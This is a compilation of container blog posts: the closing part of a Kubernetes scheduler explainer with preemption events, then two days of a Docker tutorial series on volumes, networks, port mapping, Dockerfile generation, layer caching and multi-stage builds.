The first scheduling cycle has nothing to give it. Three nodes are insufficient, the fourth has the wrong taint. The scheduler turns to PostFilter, which walks each node looking for a preemption victim. The tainted node is no help. The non-tainted nodes each have a candidate to evict. The scheduler picks one, sets `nominatedNodeName`, and gracefully evicts the lower-priority nginx pod.

```plaintext
$ kubectl describe pod payments-critical | tail -14
QoS Class:        Guaranteed
Priority:         1000000
Priority Class:   high-priority-payments
Events:
  Type     Reason            Age   From               Message
  ----     ------            ----  ----               -------
  Warning  FailedScheduling  14s   default-scheduler  0/4 nodes are available: 3 Insufficient cpu, 1 node(s) had untolerated taint {workload: gpu}. preemption: 0/4 nodes are available: 1 Preemption is not helpful for scheduling, 3 No preemption victims found for incoming pod.
  Normal   Preempted         9s    default-scheduler  Preempted by default/nginx-demo on node kube-worker-1
  Warning  FailedScheduling  9s    default-scheduler  0/4 nodes are available: 3 Insufficient cpu. preemption: 0/4 nodes are available.
  Normal   Scheduled         4s    default-scheduler  Successfully assigned default/payments-critical to kube-worker-1
  Normal   Pulling           3s    kubelet            Pulling image "payments:v2.4.1"
  Normal   Pulled            1s    kubelet            Successfully pulled image "payments:v2.4.1" in 1.632s
  Normal   Created           1s    kubelet            Created container: payments
  Normal   Started           1s    kubelet            Started container payments
```

Read those events carefully. There is a `FailedScheduling` at 14s, then `Preempted by default/nginx-demo on node kube-worker-1` at 9s, then another `FailedScheduling` (the cycle right after preemption, where the nginx pod was still terminating), then `Scheduled` at 4s. From request to running, on a real cluster, about ten seconds. That includes the graceful eviction of the victim, which is the slow part.

```plaintext
$ kubectl get pods -o wide
NAME                READY   STATUS    RESTARTS   AGE   IP           NODE            NOMINATED NODE   READINESS GATES
payments-critical   1/1     Running   0          22s   10.244.2.58  kube-worker-1   <none>           <none>
```

That is preemption working as designed. A higher-priority pod arrives, the scheduler refuses to leave it pending when there is a lower-priority pod that could be moved, and the cluster reshuffles. No human intervention. No alert at 3 a.m.

## Three takeaways

If only three things from this post stick with you:

**1\. The scheduler is plugins all the way down.** Since 1.19, every meaningful decision is delegated to a plugin at one of thirteen extension points. You can write your own, disable the defaults, run multiple profiles in parallel. Volcano, Kueue, and Coscheduling exist because of this design. they did not have to fork the scheduler.

**2\. Filter is binary; Score is weighted.** A single `Unschedulable` verdict from any of fourteen Filter plugins kills a node's candidacy. But Score is a weighted vote across nine plugins, and the weights are not equal. `TaintToleration` (×3) is the strongest single signal at scoring time, followed by the four ×2 plugins (`NodeAffinity`, `PodTopologySpread`, `InterPodAffinity`, `DynamicResources`). Weights matter much more than most engineers realize.

**3\. Reserve is why your scheduling is consistent.** When you scale a deployment from one to twenty replicas and they all hit the scheduling queue in the same one-second window, Reserve's in-memory subtraction is what stops them from piling onto the same node. The scheduler commits an opinion before the API server even confirms the bind, and that opinion is visible to the next pod's scheduling cycle immediately.

## Where to go from here

The full scheduler walkthrough on YouTube has the live demo, every stage animated, the preemption flow shown end-to-end. Link is at the top of this post.

If you want to step through it yourself rather than watch, the interactive at [https://kubernetes-explained.vercel.app/scheduler](https://kubernetes-explained.vercel.app/scheduler) walks every internal step with annotations and lets you pause anywhere.

Sources for every claim in this post:

*   `pkg/scheduler/apis/config/testing/defaults/defaults.go`: plugin lists and weights
    
*   `pkg/scheduler/framework/plugins/`: individual plugin implementations
    
*   `pkg/scheduler/backend/queue/scheduling_queue.go`: the three queues
    
*   `pkg/scheduler/framework/plugins/defaultpreemption/default_preemption.go`: the preemption algorithm
    
*   KEP-624. the scheduling framework graduation history
    
*   The `kubectl describe pod` events shown in the demo above are verbatim from a real Kubernetes 1.36.1 cluster, captured for this post.

---

# Day 4: Breaking Isolation on Purpose - Volumes, Networks, and the Real World

- Canonical: https://blog.kubesimplify.com/day-4-breaking-isolation-on-purpose-volumes-networks-and-the-real-world
- Published: 2026-04-27

> **7 Days of Docker in 2026** — When Containers Need to Talk and Remember

On [Day 3](https://blog.kubesimplify.com/day-3-stop-writing-dockerfiles-from-scratch), you built production-ready images with Dockerfiles, optimized layers, and mastered multi-stage builds. Every container you have launched so far has been a tiny, sealed universe - isolated filesystem, isolated network, isolated process tree. That isolation is the entire point of containers.

But here is the thing nobody tells you on day one: **useful applications break isolation constantly.** A database container that cannot remember data after a restart is useless. A web frontend that cannot reach its API backend is useless. A Redis cache that no service can connect to is useless.

Today, you learn to break isolation on purpose - with volumes (persistent storage), custom networks (container-to-container communication), and port mapping (exposing services to your host). These are the three controlled breaches that turn toy containers into real systems.

* * *

## Table of Contents

*   [1\. Data Dies With Containers](#1-data-dies-with-containers)
    
*   [2\. Volumes: Breaking Filesystem Isolation](#2-volumes-breaking-filesystem-isolation)
    
*   [3\. Networks: Breaking Network Isolation](#3-networks-breaking-network-isolation)
    
*   [4\. Port Mapping: Breaking Host Isolation](#4-port-mapping-breaking-host-isolation)
    
*   [5\. Putting It Together: Redis Service Discovery](#5-putting-it-together-redis-service-discovery)
    
*   [6\. What Nobody Tells You](#6-what-nobody-tells-you)
    
*   [7\. Quick Reference](#7-quick-reference)
    
*   [What's Next: Day 5](#whats-next-day-5)
    

* * *

## 1\. Data Dies With Containers

Before I show you the fix, I need you to feel the problem.

Write a file inside a running container:

```bash
docker run --name d4-writer alpine sh -c 'echo "Important!" > /data.txt && cat /data.txt'
```

```plaintext
Important!
```

The file exists. Now remove that container and try to read from a fresh one:

```bash
docker rm d4-writer

docker run --name d4-reader alpine sh -c 'cat /data.txt'
```

```plaintext
cat: can't open '/data.txt': No such file or directory
```

Data is **GONE!**

```bash
docker rm d4-reader
```

Each container gets its own copy-on-write layer ([Day 2](https://blog.kubesimplify.com/day-2-your-images-are-a-supply-chain-and-it-s-probably-broken)). When the container dies, that layer is garbage-collected. Every file, every database row, every log entry - deleted. This is not a bug. This is exactly how containers are supposed to work.

But it means you need a deliberate strategy for any data that outlives a single container. That is where volumes come in.

* * *

## 2\. Volumes: Breaking Filesystem Isolation

Docker gives you three ways to punch a hole through the filesystem wall. Each one trades some isolation for some capability.

![](/img/blog/day-4-breaking-isolation-on-purpose-volumes-networks-and-the-real-world/40c39bce-09cc-4d68-b515-153b5ace050c.svg align="center")

### Named Volumes - Let Docker Manage It

Named volumes are Docker-managed storage areas that live outside any container's lifecycle. You create them by name, mount them into containers, and Docker handles everything else - location on disk, permissions, and cleanup.

```bash
$ docker volume create d4-data
```

```plaintext
d4-data
```

Write data from one container:

```bash
docker run --rm -v d4-data:/data alpine sh -c \
  'echo "Persisted on Wed Apr 22" > /data/message.txt && cat /data/message.txt'
```

```plaintext
Persisted on Wed Apr 27
```

That container is already gone (thanks to `--rm`). Now read from a completely new container - different ID, different writable layer, different process:

```bash
docker run --rm -v d4-data:/data alpine cat /data/message.txt
```

```plaintext
Persisted on Wed Apr 27
```

The data survived. The volume exists independently of any container that mounts it.

![](/img/blog/day-4-breaking-isolation-on-purpose-volumes-networks-and-the-real-world/18e6ae99-a79f-4143-8044-dfd6e690fa37.png align="center")

**Best for:** Databases, application state, anything that must survive container replacement. This is your default choice for production.

### Bind Mounts - Map Host Directories Directly

A bind mount maps a specific path on your host machine into the container. The container sees your host files in real time — edit on the host, and the container picks it up instantly.

```bash
mkdir -p /tmp/d4-site

cat > /tmp/d4-site/index.html << 'EOF'
<h1>Hello from a bind mount!</h1>
EOF

docker run -d --name d4-web -p 8084:80 \
  -v /tmp/d4-site:/usr/share/nginx/html:ro nginx:alpine
```

The `:ro` flag means **read-only** - the container can read your files, but cannot modify them. This matters. More on that in section 6.

```bash
curl -s http://localhost:8084 | grep '<h1>'
```

```html
<h1>Hello from a bind mount!</h1>
```

Now edit the file on your host and hit it again - no rebuild, no restart:

```bash
echo '<h1>Updated LIVE!</h1>' > /tmp/d4-site/index.html

curl -s http://localhost:8084 | grep '<h1>'
```

```html
<h1>Updated LIVE!</h1>
```

**Best for:** Local development with hot reload. Never use bind mounts in production — they create host dependency and break portability.

```bash
docker stop d4-web && docker rm d4-web
```

### tmpfs Mounts - Memory Only, Never Touches Disk

```bash
docker run --rm --tmpfs /app/scratch alpine sh -c \
  'echo "secret" > /app/scratch/token.txt && cat /app/scratch/token.txt'
```

```plaintext
secret
```

The data lives in RAM. It is never written to disk and vanishes when the container stops. **Best for:** Secrets, API tokens, or scratch space that must never be persisted.

### The Decision Matrix

| Feature | Named Volumes | Bind Mounts | tmpfs |
| --- | --- | --- | --- |
| **Managed by Docker** | Yes | No | No |
| **Survives container removal** | Yes | Yes (on host) | No |
| **Pre-populated with image data** | Yes | No | No |
| **Performance** | Near-native | Native | Fastest |
| **Use in production** | Yes | No | Rarely |

> **Captain's Rule:** When in doubt, use a named volume. Bind mounts are for development. tmpfs is for secrets. Named volumes are for everything else.

* * *

## 3\. Networks: Breaking Network Isolation

You can persist data now. But a container that stores data and talks to nobody is just an expensive text file. Real applications are systems of services that need to **find each other**.

Docker networking has one massive gotcha, and I guarantee most tutorials will bury it three paragraphs too deep.

### The Default Bridge Trap

Every container you have created so far lands on the **default bridge network**. Containers on the default bridge can reach each other by IP address — but **not by name**.

That means no DNS. No service discovery. Just raw IPs that change every time a container restarts. This is fine for throwaway experiments. It is terrible for anything real.

![](/img/blog/day-4-breaking-isolation-on-purpose-volumes-networks-and-the-real-world/2df4747b-a9d7-4f17-ad64-5c666f0c7b09.png align="center")

### Custom Bridge Networks - DNS for Free

Create a custom bridge network, and Docker gives you an embedded DNS server. Every container on that network is registered by its `--name`, and any other container can resolve that name to the correct IP.

```bash
docker network create d4-net
```

Launch two containers on that network:

```bash
docker run -d --name d4-web --network d4-net nginx:alpine

docker run -d --name d4-api --network d4-net nginx:alpine
```

Now ping by **container name** - not IP:

```bash
docker exec d4-api ping -c 2 d4-web
```

```plaintext
PING d4-web (172.22.0.2): 56 data bytes
64 bytes from 172.22.0.2: seq=0 ttl=64 time=0.721 ms
64 bytes from 172.22.0.2: seq=1 ttl=64 time=0.234 ms

--- d4-web ping statistics ---
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 0.234/0.477/0.721 ms
```

![](/img/blog/day-4-breaking-isolation-on-purpose-volumes-networks-and-the-real-world/27369d7a-d5a8-44c5-b98d-7bd100bd0426.png align="center")

That `172.22.0.2` could change tomorrow if you recreate the container. But `d4-web` as a DNS name will always resolve to whatever IP the `d4-web` container currently holds. This is the same pattern Kubernetes uses with its internal DNS — Docker just gives it to you for free on custom networks.

> **Key Concept:** Default bridge = no DNS, hardcoded IPs, fragile. Custom bridge = automatic DNS, service discovery by name, resilient. Always create a custom bridge for multi-container applications.

```bash
docker stop d4-web d4-api && docker rm d4-web d4-api
```

### The Full Isolation Spectrum

Bridge networks are what you will use most days, but they are only two points on a wider spectrum. Docker ships several network modes, each sitting at a different level of isolation. Knowing they exist saves you from reaching for the wrong tool.

| Network mode | Isolation level | When to reach for it |
| --- | --- | --- |
| `none` | Maximum: no networking at all | Batch jobs that should never touch the network. Forensic analysis. Testing graceful network-failure paths. |
| Custom bridge | Strong: project-scoped DNS, isolated from default bridge | 99% of multi-container apps on a single host (the section above). |
| Default bridge | Weak: IP routing, no DNS | One-off experiments. Legacy quirks. |
| `host` | None: container shares the host's network namespace | Performance-critical apps where bridge NAT is the bottleneck. Low-level networking tools that must see every interface on the host. |
| `overlay` | Multi-host: one logical network spanning several Docker hosts | Swarm clusters. Multi-machine setups. Preview for the days when one laptop is not enough. |

`--network host` drops the network wall entirely. Your container shares the host's network stack, sees every interface, binds ports directly without NAT. Fastest possible networking, zero translation. The cost: no port mapping is needed because there is no isolation, two containers cannot bind the same port, and you lose service-name DNS. Use it for monitoring agents, packet-capture tools, or latency-sensitive workloads on Linux.

```bash
$ docker run --rm --network host alpine ip addr show | head -10
```

You will see the same interfaces as `ip addr show` on your host. That is the point: there is no separate network namespace.

`--network none` removes networking completely. The container has only a loopback interface. No outbound connections, no inbound traffic, no DNS. This is the right choice for jobs that should never reach the network, or for proving that your application degrades gracefully when networking is unavailable.

```bash
$ docker run --rm --network none alpine ping -c 2 google.com
```

```plaintext
ping: bad address 'google.com'
```

No DNS, no route. Exactly as expected.

`overlay` **networks** stretch a single logical network across multiple Docker hosts. They are how Swarm wires services together across a cluster of machines. You will not use overlay on a single laptop, but it is worth knowing the name for the day you graduate from one host to many.

> **Captain's Rule:** Custom bridge for almost everything. `host` when bridge NAT is the bottleneck. `none` when the container should be airtight. `overlay` when you outgrow a single machine.

* * *

## 4\. Port Mapping: Breaking Host Isolation

Volumes break filesystem isolation. Networks break container-to-container isolation. Port mapping breaks the final wall: **host isolation**.

By default, no traffic from your host machine can reach a container's internal ports. You explicitly map a host port to a container port with `-p`:

```bash
docker run -d --name d4-nginx -p 8080:80 nginx:alpine
```

This means: "Traffic hitting `localhost:8080` on my host gets forwarded to port `80` inside the container."

```bash
curl -s http://localhost:8080 | head -5
```

```html
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
</head>
```

Without `-p 8080:80`, that nginx process would be running and listening — but completely unreachable from your browser or curl.

### Port Mapping Syntax

| Syntax | Meaning |
| --- | --- |
| `-p 8080:80` | Host 8080 → Container 80 |
| `-p 127.0.0.1:8080:80` | Only bind to localhost (not exposed to network) |
| `-p 8080:80/udp` | UDP instead of TCP |
| `-p 80` | Map container port 80 to a random host port |

> **Captain's Rule:** In production, always bind to `127.0.0.1` unless you explicitly want external traffic. A bare `-p 8080:80` binds to `0.0.0.0` — every network interface on your host, including public-facing ones.

```bash
docker stop d4-nginx && docker rm d4-nginx
```

* * *

## 5\. Putting It Together: Redis Service Discovery

Time to combine everything. We will run a Redis container and an Alpine client on a custom network, use DNS-based service discovery to connect by name, and persist Redis data with a named volume.

### Set Up the Network and Volume

```bash
docker volume create d4-redis-data

docker network create d4-app-net
```

### Launch Redis with a Named Volume

```bash
docker run -d \
--name d4-redis \
--network d4-app-net \
-v d4-redis-data:/data \
redis:7-alpine redis-server --appendonly yes
```

The `--appendonly yes` flag tells Redis to persist data to disk (inside `/data`, which is backed by our volume). Without it, Redis keeps everything in memory and loses it all on restart.

### Connect an App Container by Name

```bash
docker run --rm -it \
--name d4-client \
--network d4-app-net \
redis:7-alpine redis-cli -h d4-redis
```

Notice `-h d4-redis` we connect using the **container name**, not an IP. Docker's embedded DNS resolves it automatically.

```plaintext
d4-redis:6379> SET greeting "Hello Day 4!"
OK
d4-redis:6379> GET greeting
"Hello Day 4!"
d4-redis:6379> exit
```

The value is set. Now kill the Redis container, start a fresh one with the same volume and network, and prove the data survived:

```bash
docker rm -f d4-redis

docker run -d \
--name d4-redis \
--network d4-app-net \
-v d4-redis-data:/data \
redis:7-alpine redis-server --appendonly yes
```

```bash
docker run --rm \
--network d4-app-net \
redis:7-alpine redis-cli -h d4-redis GET greeting
```

```plaintext
"Hello Day 4!"
```

The container was destroyed and replaced. The data persisted (volume). The new client found it by name (custom network DNS). This is the pattern behind every microservice architecture - disposable compute, durable storage, DNS-based discovery.

### Cleanup

```bash
docker rm -f d4-redis
docker network rm d4-app-net
docker volume rm d4-redis-data d4-data
```

* * *

## 6\. What Nobody Tells You

Here is the section I wish someone had written for me when I was learning Docker.

### Bind Mounts With `:rw` Can Destroy Your Code

By default, bind mounts are `:rw` (read-write). That means the container has **full write access to your host directory**. A misconfigured build step, a buggy script, or a careless `rm -rf` inside the container, will modify or delete your actual source code on the host.

```bash
# This is dangerous:
docker run -v $(pwd):/app some-image npm run build
# If the build writes to /app, it's writing to YOUR filesystem.
```

Always use `:ro` for bind mounts unless the container genuinely needs to write back to the host. And when it does need to write, mount only the specific subdirectory it needs — never your entire project root with write access.

### The Default Bridge Has No DNS, And This Will Bite You

I cannot stress this enough. The default bridge network does **not** provide DNS resolution. If you run two containers without `--network` and try to connect by name, it will fail silently or hang. I have seen teams waste hours debugging "connection refused" errors that were really just missing DNS because nobody created a custom network.

### Volume Data Outlives Everything

Named volumes are not removed when you run `docker rm`, `docker system prune`, or even `docker system prune -a`. The only commands that touch volumes are `docker volume rm` and `docker volume prune`. This is by design, but it means orphaned volumes accumulate silently. Run `docker system df` monthly. You will be surprised.

### Port Mapping Bypasses Your Firewall

On Linux, Docker's port mapping manipulates iptables directly. This means `-p 8080:80` can expose a service to the public internet **even if your host firewall blocks port 8080**. Docker inserts its rules before the firewall's. This is a well-known footgun and has led to real production incidents. Always bind to `127.0.0.1` explicitly if you only need local access.

* * *

## 7\. Quick Reference

### Volume Commands

```bash
docker volume create my-data          # Create a named volume
docker volume ls                       # List all volumes
docker volume inspect my-data          # Show volume details
docker volume rm my-data               # Delete a volume
docker volume prune                    # Remove unused anonymous volumes
docker volume prune -a                 # Remove ALL unused volumes (careful!)
```

### Network Commands

```bash
docker network create my-net           # Create a custom bridge
docker network ls                      # List all networks
docker network inspect my-net          # Show network details and connected containers
docker network rm my-net               # Delete a network
docker network connect my-net my-ctr   # Attach a running container to a network
docker network disconnect my-net my-ctr # Detach a running container
```

### Running Containers With Storage and Networks

```bash
# Named volume
docker run -v my-data:/app/data myimage

# Bind mount (read-only)
docker run -v /host/path:/container/path:ro myimage

# tmpfs
docker run --tmpfs /app/temp myimage

# Custom network with port mapping
docker run -d --name web --network my-net -p 8080:80 nginx:alpine

# The full combo: volume + network + port
docker run -d --name db \
  --network my-net \
  -v db-data:/var/lib/postgresql/data \
  -p 5432:5432 \
  postgres:17-alpine
```

### Common Database Volume Paths

| Image | Mount Path |
| --- | --- |
| `postgres` | `/var/lib/postgresql/data` |
| `mysql` | `/var/lib/mysql` |
| `mongo` | `/data/db` |
| `redis` | `/data` |

* * *

## Key Takeaways

1.  **Containers are isolated by design.** Breaking that isolation is not a failure — it is the entire point of building real applications with Docker.
    
2.  **Volumes break filesystem isolation.** Named volumes (Docker-managed, portable) for production. Bind mounts (host-mapped, live reload) for development. tmpfs (memory-only) for secrets.
    
3.  **Custom bridge networks break network isolation.** The default bridge has no DNS. A custom bridge gives you free service discovery by container name. Always create one.
    
4.  **Port mapping breaks host isolation.** `-p 8080:80` lets your host reach the container. Bind to `127.0.0.1` in production unless you intend public exposure.
    
5.  **Volumes outlive containers.** We proved it: killed Redis, started a fresh container with the same volume, and `GET greeting` still returned `"Hello Day 4!"`.
    
6.  **DNS-based discovery is the pattern.** Connect by container name, not IP. IPs change. Names do not. This is how Kubernetes works, too - learn the pattern now.
    
7.  **Bind mounts with** `:rw` **can modify your host filesystem.** Default to `:ro`. Mount only what you need. Never give a container write access to your entire project directory unless you understand the risk.
    

* * *

## What's Next: Day 5

You can now persist data, connect containers by name, and expose services to your host. But you typed a lot of `docker run` commands today, each with a growing list of flags. Imagine managing ten services this way.

In **Day 5: Docker Compose - Defining Multi-Container Applications**, you will learn to describe your entire application stack in a single YAML file and bring it all up with one command. The volume mounts, networks, and port mappings you learned today will become simple declarations in a Compose file.

See you tomorrow.

* * *

---

# Day 3: Stop Writing Dockerfiles From Scratch

- Canonical: https://blog.kubesimplify.com/day-3-stop-writing-dockerfiles-from-scratch
- Published: 2026-04-24
- Summary: Stop writing Dockerfiles from scratch. A Docker Captain walks through docker init, layer caching, multi-stage builds, and docker debug for 2026.

> **7 Days of Docker (2026)**, by Saloni Narang, Docker Captain & CNCF Ambassador

I'm a Docker Captain. I've reviewed many Dockerfiles, and I can tell you that every single Dockerfile tutorial on the internet starts the same way: `FROM`, `RUN`, `COPY`, `CMD`. Memorize four keywords. Congratulations, you know nothing.

Knowing the instructions is like knowing how to spell. It doesn't make you a writer. Today I'm not tell you syntax. Today I'm going to tell you to **think** about Dockerfiles: why each line exists, what order they go in, and what happens to your build time and image size when you get it wrong.

If you followed [Day 2](https://blog.kubesimplify.com/day-2-your-images-are-a-supply-chain-and-it-s-probably-broken), you already understand that images are stacked layers. Now you're going to create those layers yourself, and you're going to do it right the first time.

* * *

## Table of Contents

*   [1\. docker init: The 2026 Way](#1-docker-init-the-2026-way)
    
*   [2\. Tearing Apart a Dockerfile](#2-tearing-apart-a-dockerfile)
    
*   [3\. The Cache Trick That Changes Everything](#3-the-cache-trick-that-changes-everything)
    
*   [4\. Multi-Stage Builds: It's Not About Size](#4-multi-stage-builds-its-not-about-size)
    
*   [5\. docker debug: Your New Best Friend](#5-docker-debug-your-new-best-friend)
    
*   [6\. What Nobody Tells You](#6-what-nobody-tells-you)
    
*   [7\. Quick Reference](#7-quick-reference)
    
*   [What's Next: Day 4](#whats-next-day-4)
    

* * *

## 1\. docker init: The 2026 Way

Here's my first controversial opinion of the day: **stop writing Dockerfiles from scratch.**

`docker init` exists. It asks you five questions and generates a very good Dockerfile, `.dockerignore`, `compose.yaml`, and a `README.Docker.md`. Here's what it actually looks like when you run it on a Node.js project:

```plaintext
$ docker init

Welcome to the Docker Init CLI!

This utility will walk you through creating the following files with sensible defaults for your project:
  - .dockerignore
  - Dockerfile
  - compose.yaml
  - README.Docker.md

Let's get started!

? What application platform does your project use? Node
? What version of Node do you want to use? 20.17.0
? Which package manager do you want to use? npm
? What command do you want to use to start the app? node server.js
? What port does your server listen on? 3000

✔ Created → .dockerignore
✔ Created → Dockerfile
✔ Created → compose.yaml
✔ Created → README.Docker.md

→ Your Docker files are ready!
  Review your Docker files and tailor them to your application.
  Consult README.Docker.md for information about using the generated files.

! Warning → The following files required to run your application were not found.
  Create them before running your application:
  - package.json
  - package-lock.json
```

Five questions. Four files. And a warning that keeps you honest: it noticed `package.json` and `package-lock.json` don't exist yet. That warning matters, as you'll see in a moment.

**So why am I writing a blog post about Dockerfiles if a tool generates them?**

Because you need to understand what it generates. You need to be the person who can look at a generated Dockerfile and say "this is correct" or "this needs to change for our use case." `docker init` is where you start. Understanding is where you become dangerous.

Let's dissect what it actually produced, line by line.

* * *

## 2\. Tearing Apart a Dockerfile

This is the Dockerfile `docker init` actually generated. Not simplified. Not cleaned up. The real thing.

```dockerfile
# syntax=docker/dockerfile:1

ARG NODE_VERSION=20.17.0

FROM node:${NODE_VERSION}-alpine

ENV NODE_ENV production

WORKDIR /usr/src/app

RUN --mount=type=bind,source=package.json,target=package.json \
    --mount=type=bind,source=package-lock.json,target=package-lock.json \
    --mount=type=cache,target=/root/.npm \
    npm ci --omit=dev

USER node

COPY . .

EXPOSE 3000

CMD node server.js
```

![](/img/blog/day-3-stop-writing-dockerfiles-from-scratch/7ab366ab-336d-4e98-9217-5df133d71402.png align="center")

Every decision in here is intentional. Let's go line by line.

`# syntax=docker/dockerfile:1`: This is a parser directive, not a comment. It must be the very first line. It pins the Dockerfile to the latest stable 1.x BuildKit syntax, ensuring consistent behaviour across different Docker versions, CI systems, and remote builders. In Docker 23.0+ BuildKit is on by default so `--mount` works without it, but on older installs or CI environments it may not. Keep it for portability.

`ARG NODE_VERSION=20.17.0`: A build-time variable with a default. This means you can override it without touching the Dockerfile: `docker build --build-arg NODE_VERSION=22.0.0 .`. Pin to a specific version in production; override in CI when testing upgrades.

`FROM node:${NODE_VERSION}-alpine`: Uses the ARG from above. Alpine is significantly smaller than Debian-based images, often reducing image size by several hundred MB. This is not "use Node." It's "start with this entire filesystem and runtime." Every line after this is built on top of Alpine + Node 20.17.0.

`ENV NODE_ENV production`: Sets an environment variable that persists into the running container. At runtime, this tells Node frameworks like Express and Next.js to enable production-mode optimizations. Note: for `npm ci`, `NODE_ENV=production` alone does not skip devDependencies. The `--omit=dev` flag in the RUN step handles that explicitly.

`WORKDIR /usr/src/app`: Sets the working directory for every subsequent instruction. Note it's `/usr/src/app`, not `/app`. This is the conventional location for Node apps per the Node Docker Best Practices guide. Docker creates it if it doesn't exist.

`RUN --mount=type=bind ... npm ci --omit=dev`: This is the line that makes this Dockerfile different from what you'd write by hand. Three things happening at once:

*   `--mount=type=bind,source=package.json,target=package.json`: Binds your `package.json` into the container *only for this RUN step*. It is not persisted in the final image layer, but it still influences build cache. The file is available at build time, gone from the image afterward.
    
*   `--mount=type=bind,source=package-lock.json,target=package-lock.json`: Same for the lockfile. This is why `docker init` warned us both files need to exist; it's reading them directly from your filesystem, not copying them.
    
*   `--mount=type=cache,target=/root/.npm`: Mounts a persistent build cache at the npm cache directory. On the next build, npm reuses packages from this cache even if the image layer is rebuilt. Dramatically faster on repeated builds.
    
*   `npm ci` instead of `npm install`: `ci` installs exactly what's in the lockfile, fails if there's a mismatch, and never modifies `package-lock.json`. Deterministic. Right for production builds.
    
*   `--omit=dev` instead of `--production`: The modern flag name. Same effect: skips devDependencies.
    

`USER node`: Switches to the non-root `node` user *before* copying application code. This matters: files copied after this instruction are owned by `node`, not root. If an attacker compromises your app process, they land as an unprivileged user. Root in a container is not the same as root on the host, but it's still a risk you don't need to take.

`COPY . .`: Copies your entire application source into the image. Comes *after* `USER node` so the files are owned correctly, and *after* `npm ci` so a source code change doesn't invalidate the dependency install step. The `.dockerignore` file (also generated by `docker init`) controls what gets excluded.

`EXPOSE 3000`: Metadata only. It does not open a port by itself, but acts as metadata used by tools like Docker run -p, Compose, and Kubernetes. It documents what port the application listens on so that `docker run -P`, Compose, and orchestrators can wire it up automatically.

`CMD node server.js`: The default command. Shell form, which means the shell (`/bin/sh -c`) wraps the process. The generated Dockerfile uses shell form here, which is simpler for a starter template. In production you may want exec form (`CMD ["node", "server.js"]`) so the Node process receives signals directly as PID 1. In short, shell form does not handle signals correctly. Exec form is preferred in production for proper shutdown handling.

Once you have your `package.json`, `package-lock.json`, and `server.js` in place, build and run with:

```bash
docker build -t d3-app .
docker run -d --name d3 -p 3000:3000 d3-app
```

Then run `docker history d3-app` and pay attention to what is *not* there. `package.json` and `package-lock.json` will not appear as layers at all. They were bind-mounted during the RUN step, available to `npm ci`, but never copied into the image. The npm cache mount is the same story: it lives outside the image entirely. The only real weight your image carries is the `npm ci` layer and whatever your `COPY . .` step brings in.

* * *

## 3\. The Cache Trick That Changes Everything

This is where most tutorials fail you. They show the correct Dockerfile but never explain *why* the order matters. Let me fix that.

![](/img/blog/day-3-stop-writing-dockerfiles-from-scratch/0a25e08f-6f85-4056-955a-6b3445e5896b.png align="center")

Docker's build cache works on one brutal rule: **the moment a layer changes, every layer after it is rebuilt from scratch.** Cache invalidation cascades downward. Always.

Here's what a bad Dockerfile looks like:

```dockerfile
FROM node:20-alpine
WORKDIR /app
COPY . .                          # copies EVERYTHING
RUN npm install --production      # runs every time ANY file changes
CMD ["node", "server.js"]
```

You change one line in `server.js`. Docker sees that `COPY . .` has different input files. Cache busted. Which means `npm install` also reruns, even though your dependencies haven't changed. You wait 15 seconds for a zero-dependency-change build. Multiply that by 50 developers and 20 builds a day and you've burned hours.

Now the good version:

```dockerfile
FROM node:20-alpine
WORKDIR /app
COPY package.json .               # dependencies change rarely
RUN npm install --production      # cached unless package.json changed
COPY server.js .                  # app code changes often, goes LAST
CMD ["node", "server.js"]
```

You change `server.js`. Docker checks: did `package.json` change? No. Cached. Did `npm install` inputs change? No. Cached. Only `COPY server.js .` reruns. Build time: sub-second.

**This is not a micro-optimization. This is a 10x difference in build time.** I have seen real CI pipelines go from 4-minute builds to 25-second builds by fixing instruction order alone. No new hardware. No fancy caching service. Just understanding how layers work.

The rule is simple: **things that change rarely go at the top. Things that change often go at the bottom.** Dependency manifests before source code. System packages before application packages. Always.

* * *

## 4\. Multi-Stage Builds: It's Not About Size

Everyone explains multi-stage builds as "make your image smaller." That's true but it's the wrong framing. Multi-stage builds are about **separation of concerns.**

Your build environment needs compilers, package managers, build tools, debug symbols. Your production environment needs *none of that.* Every tool in your production image is a tool an attacker can use. Every extra binary is attack surface. Multi-stage builds let you use a full workshop to build, then ship only the finished product.

![](/img/blog/day-3-stop-writing-dockerfiles-from-scratch/707d016e-aab7-42b5-9cde-78a1eee04b8b.png align="center")

Here's a Go application using a multi-stage build:

```dockerfile
FROM golang:1.22-alpine AS builder
WORKDIR /app
COPY go.mod go.sum ./
RUN go mod download
COPY . .
RUN CGO_ENABLED=0 GOOS=linux go build -o server

FROM alpine:3.20
RUN adduser -D appuser
COPY --from=builder /app/server /server
USER appuser
CMD ["/server"]
```

**Stage 1 (**`builder`**):** Uses `golang:1.22-alpine`, which includes the full Go compiler, linker, and standard library. `go.mod` and `go.sum` are copied first so `go mod download` can be cached independently of source changes (the same caching logic as Node's dependency layer). `CGO_ENABLED=0` produces a fully static binary with no dynamic library dependencies, so the binary runs on any Linux-based image. If your project has no external modules, drop the `go.sum` copy and `go mod download` line, but you still need `go.mod` (Go 1.17+ refuses to build outside a module).

**Stage 2 (production):** Starts fresh from `alpine:3.20`. Creates a non-root user. Copies *only the compiled binary* from stage 1. The Go compiler, source code, intermediate objects, all left behind. They never make it into the final image.

You can verify the size difference with `docker images` after building both. In practice, a static Go binary on top of Alpine typically weighs in around 10 to 20 MB, while a Node image carrying the full runtime and `node_modules` is usually well over 100 MB. The exact numbers depend on your dependencies, but the order-of-magnitude gap is consistent.

The more important win is attack surface. A Node image carries npm, a shell, a package manager, and dozens of utilities. If someone exploits a vulnerability in your app and gets code execution, they have tools to work with. A Go image on Alpine is far more restricted: running as a non-root user means no ability to install packages even though `apk` is present, and far fewer pre-installed utilities to abuse. For maximum restriction, use a distroless or scratch base in stage 2 and your production image won't even have a shell.

**Smaller images aren't just faster to pull. They have less attack surface.**

For compiled languages (Go, Rust, C, C++), multi-stage builds are non-negotiable. For interpreted languages (Node, Python, Ruby), you can't eliminate the runtime, but you can still use multi-stage to install build-time-only dependencies in a separate stage and copy only production artifacts forward.

* * *

## 5\. docker debug: Your New Best Friend

> **Note:** `docker debug` is a Docker Desktop feature and requires a paid Docker subscription (Pro, Team, or Business). It is not included in open-source Docker Engine / Docker CE. Minimum Docker Desktop version is 4.33. Check with `docker debug --help` before relying on it.

Here's a scenario: your multi-stage build produces a final image based on `alpine:3.20` or even `scratch` (a completely empty image). Something's wrong at runtime. You want to shell in and look around. But there's no shell in the image. `docker exec -it mycontainer sh` fails.

Enter `docker debug`:

```bash
docker debug d3-go
```

